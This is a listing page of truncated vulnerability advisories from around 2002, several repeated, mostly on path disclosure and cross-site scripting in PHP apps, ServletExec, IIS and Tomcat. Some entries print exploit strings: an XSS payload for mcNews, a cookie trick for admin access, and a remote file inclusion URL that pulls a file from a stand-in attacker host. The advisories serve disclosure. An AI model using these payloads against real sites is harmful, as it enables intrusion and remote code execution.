Achims Guestbook, InertiaNews, Pollen, MyPhpChat, mcPass

Product 1 : Achims Guestbook 2.51 and less? http://www.lkcc.org:8500/index.php Problem : - Informations Disclosure Exploits : - /data/.dat e.g. : data.dat - /temp/.tmp e.g. : ip.tmp Product 2 : InertiaNews 0.02 beta http://www.brentc.com Problem : - Require; Exploit : -...

[UNIX] COWS Contains Multiple Security Vulnerabilities

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion When was the last time you checked your server's security? How about a monthly report? http://www.AutomatedScanning.com - Know that you're...

Multiple bugs in COWS

Crossite scripting, physical path disclosure, etc...

servletexec-4.1.txt

Westpoint Security Advisory Title: Multiple vulnerabilities in NewAtlanta ServletExec ISAPI 4.1 Risk Rating: High Software: ServletExec 4.1 ISAPI / IIS 4 & 5 Platforms: Win2k / WinNT 4 Vendor URL: www.newatlanta.com Author: Matt Moore Date: 22 May 2002 Advisory ID: wp-02-0006.txt Overview:...

Multiple bugs in ServletExec ISAPI

Physical path disclosure, directory traversal, DoS, buffer overflow...

NewAtlanta ServletExec/ISAPI 4.1 - Full Path Disclosure

source: https://www.securityfocus.com/bid/4793/info ServletExec/ISAPI is a plug-in Java Servlet/JSP engine for Microsoft IIS. It runs with IIS on Microsoft Windows NT/2000/XP systems. ServletExec/ISAPI discloses the absolute path to the webroot directory when sent a specially formatted request...

NewAtlanta ServletExecISAPI 4.1 - Full Path Disclosure

NewAtlanta ServletExecISAPI 4.1 - Full Path Disclosure source: https://www.securityfocus.com/bid/4793/info ServletExec/ISAPI is a plug-in Java Servlet/JSP engine for Microsoft IIS. It runs with IIS on Microsoft Windows NT/2000/XP systems. ServletExec/ISAPI discloses the absolute path to the webro...

Microsoft IIS 5.0 ServerVariables_Jscript.asp Path Disclosure

A sample application shipped with IIS 5.0 discloses the physical path of the web root. An attacker can use this information to make more focused attacks. %NASLMINLEVEL 70300 This script was written by Matt Moore See the Nessus Scripts License for details Changes by Tenable: - Revised plugin title...

Security holes : mcNews

Product : mcNews 1.1a http://www.phpforums.net Problems : - XSS - Path Disclosure - Including file - Admin access Exploits : - /admin/login.php?path="/formform name=ainput name=i value=XSSscriptalertdocument.a.i.value /script without '' - Setcookie "mcNews,frog" on admin pages -...

Security holes : XMB Magic Lantern forum & DevBB

Hi all : Product 1 : XMB Magic Lantern forum 1.6b final http://www.xmbforum.com http://www.aventure-media.co.uk Problems : - Reading of logs files - XSS - Path Disclosure - Access to users/admins accounts - Logs distortion Exploits : - /indexlog.log - /cplogfile.log - If indexlog not chmod 777 =...

Security holes : Pseudo-Frame, PG, KvPoll, Phorum, BanMat

Product 1 : Pseudo Frame 1.0 http://www.clicky-web.net Problem : - Including file Exploit : - http://www.site.com/index.php? page=http://www.haxor.com/file with file.php on http://www.haxor.com . Product 2 : PG 1.0 http://www.clicky-web.net Problems : - XSS - Path Disclosure Exploits : -...

DEBIAN-CVE-2002-1592

The aplogrerror function in Apache 2.0 through 2.035, when a CGI application encounters an error, sends error messages to the client that include the full path for the server, which allows remote attackers to obtain sensitive information...

askSam 4.0 Web Publisher - Cross-Site Scripting

askSam 4.0 Web Publisher - Cross-Site Scripting source: https://www.securityfocus.com/bid/4670/info askSam is a database system. An optional component, askSam Web Publisher versions 1 and 4, is reportedly vulnerable to cross site scripting vulnerability in the asweb.exe or asweb4.exe component...

askSam 4.0 Web Publisher - Cross-Site Scripting

source: https://www.securityfocus.com/bid/4670/info askSam is a database system. An optional component, askSam Web Publisher versions 1 and 4, is reportedly vulnerable to cross site scripting vulnerability in the asweb.exe or asweb4.exe component. This is due to a failure to strip script and HTML...

CVE-2002-0253

CVE-2002-0253 affects PHP: when display_errors is not Off in php.ini, remote attackers can cause a PHP program to disclose the physical path of an include file by exploiting a trailing slash, as the base path is altered and the include directive fails, leaking the path in the error message. Remed...

CVE-2002-0249

PHP for Windows, when installed on Apache 2.0.28 beta as a standalone CGI module, allows remote attackers to obtain the physical path of the php.exe via a request with malformed arguments such as /123, which leaks the pathname in the error message...

CVE-2002-0215

Agora.cgi versions 3.2r through 4.0 in debug mode disclose the full pathname of the agora.cgi file when a non-existent .html file is requested, enabling remote disclosure of server file paths. This is an information disclosure vulnerability in the web application component. The affected component...

More Cross site Scripting in PHPNuke

Cross site scripting is a serious problem, even if some people doesn't believe it, On this second round i'll show 8 new XSS vulnerabilities in PHP Nuke most of them are also path disclosure vulns:...

Apache Tomcat 4.04.1 - Servlet Full Path Disclosure

Apache Tomcat 4.04.1 - Servlet Full Path Disclosure source: https://www.securityfocus.com/bid/4575/info Apache Tomcat is a servlet container for use with the Java Servlet and JavaServer Pages technologies. Tomcat may be run on most UNIX and Linux variants as well as Microsoft Windows. Apache Tomc...

Apache Tomcat 4.0/4.1 - Servlet Full Path Disclosure

source: https://www.securityfocus.com/bid/4575/info Apache Tomcat is a servlet container for use with the Java Servlet and JavaServer Pages technologies. Tomcat may be run on most UNIX and Linux variants as well as Microsoft Windows. Apache Tomcat ships with a number of example classes SnoopServl...